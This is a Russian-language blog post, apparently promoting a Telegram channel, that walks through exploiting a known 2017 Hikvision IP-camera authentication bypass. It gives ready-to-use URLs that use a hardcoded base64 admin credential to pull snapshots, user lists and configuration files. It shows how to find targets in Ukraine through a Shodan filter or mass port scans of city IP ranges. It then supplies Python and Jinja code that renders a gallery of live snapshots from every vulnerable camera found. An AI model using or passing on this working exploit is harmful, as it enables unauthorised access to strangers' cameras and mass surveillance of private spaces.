July 17

Hikvision уязвимость и автоматизация

Hikvision — Согласно Википедии:
китайская компания. Крупнейший в мире поставщик продуктов для видеонаблюдения и готовых решений по видеонаблюдению. Будучи основанной в 2001 году, компания Hikvision сегодня обеспечивает работой более 60000 сотрудников, включая научно-исследовательский штат в 40000 человек.

Логотип и популярные камеры компании.

Думаю многие из вас, как минимум даже если и не работали с данными камерами, то как минимум эти камеры где-то и видели. Не смотря на популярность компании, то и дело, всплывают новые уязвимости, реакция на которые к сожалению не самая быстрая, но тем не менее, Hikvision хоть как-то пытается держать марку, среди остального китайского ширпотреба оборудования для видеонаблюдения

Уязвимость от 12 сентября 2017г

Речь сегодня пойдет о разборе именно этой уязвимости и способах автоматизировать рутинный перебор уязвимых камер, но сначала немного о самой уязвимости, кстати подробно вы можете ознакомиться здесь

YWRtaW46MTEK что ты такое?

Вся уязвимость максимально проста и понятна:
Мы имеем ссылку следующего плана

http://192.168.0.101/onvif-http/snapshot?auth=YWRtaW46MTEK

192.168.0.101 - IP адрес камеры видеонаблюдения
onvif-http - путь запроса к функциям
snapshot - функция снимка с камеры
?auth - выполнения функции с аутентификационными данным YWRtaW46MTEK

YWRtaW46MTEK - Это не какой-то заумный шифр, если перевести с Base64, то мы получим вполне логичное объяснение почему это работает

Как вы уже могли догадаться, мы получаем доступ к функции получения снимка с камеры, используя аунтентификационные данные администратора, на этом магия всё (кстати можно получать не только снимки, но и получать доступ к конфигурационному файлу, а так же к списку пользователей)

Retrieve a list of all users and their roles:
    http://camera.ip/Security/users?auth=YWRtaW46MTEK

Obtain a camera snapshot without authentication:
    http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

And worst of all, one can download camera configuration:
    http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

Пробуем получить камеры

Можно конечно заморочится и собрать IP диапазоны интересующего нас города, просканировать все IP адреса, отсеять по нужному порту. Но есть вариант немного проще, но не значит что эффективнее, а именно shodan

SHODAN - Видит всё

Поисковая система, позволяющая пользователям искать различные типы серверов (веб-камеры, маршрутизаторы, серверы и так далее), подключённых к сети Интернет, с использованием различных фильтров.

Мы используем фильтр: country:"ua" product:"Hikvision IP Camera"

country:"ua" - страна Украина

product:"Hikvision IP Camera" - продукт (Hikvision IP камера)

Видим, что мы получаем Ip адреса, но это просто IP адреса камер Hikvision, и не означает то, что данные камеры являются уязвимыми. Мы можем просто подменять IP адреса в ссылках и по итогу, если камера уязвима, то у нас откроется скриншот с камеры.

А если без Shodan

Тогда нам понадобится:

  1. Ip диапазоны целевого города: IP диапазоны городов (4it.me)
  2. Сканер IP (masscan, RouterScan, Nmap)

Для начала выбираем город на сайте 4it.me

Получаем список IP адресов, теперь переходим в любой удобный сканер IP адресов. Просмотре в интернете, мы может найти популярные порты на которых работают камеры Hikvision, а именно их веб интерфейс. (80, 81, 8080, 8081 итд)

Сканируем, подставляем IP адреса к имеющейся ссылке, и если устройство уязвимо

Отлично, давайте как-то автоматизируем с вами процесс поиска уязвимых камер?

Создадим файл main.py с следующей логикой:

Сохраняем список IP адресов в csv файле, после, с помощью шаблонизатора Jinja создаём html файл, на bootstrap для удобства, с карточками, изображениями карточек будут ссылки с переменной, куда и будут подставлятся IP адреса

http://{{item.ip}}/onvif-http/snapshot?auth=YWRtaW46MTEK

import csv
from jinja2 import Environment, FileSystemLoader

# Загрузка данных из CSV-файла
data = []

with open('ip_res.csv', 'r') as file:
    reader = csv.DictReader(file, delimiter=',')
    for row in reader:
        print(row)
        data.append(row)
        
# Настройка Jinja2env = Environment(loader=FileSystemLoader('.'))
template = env.get_template('index.html')

# Генерация HTML-страницы
html = template.render(data=data)

# Сохранение HTML-файла
with open('result_f.html', 'w') as file:
    file.write(html)

Создадим файл index.html в папке template

<!DOCTYPE html><html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Bootstrap Cards</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
</head>
<body>
    <div class="container my-5">
        <div class="row">
            {% for item in data %}
                <div class="col-md-4 mb-4">                
                    <div class="card">                    
                        <img src="http://{{item.ip}}/onvif-http/snapshot?auth=YWRtaW46MTEK" class="card-img-top" alt="{{ item.name }}">                    
                        <div class="card-body">
                            <h5 class="card-title">{{ item.ip }}</h5>                        
                            <p class="card-text">1</p>
                        </div>                
                    </div>            
                </div>            
                {% endfor %}        
            </div>
     </div>
</body>
</html>

В итоге мы получим с вами файл (result_f.html) в котором картинки будут присутствовать только у тех камер которые собственно являются уязвимыми.

На этом всё, не забывайте подписываться на наш канал

ССЫЛКА НА КАНАЛ: https://t.me/ne_osint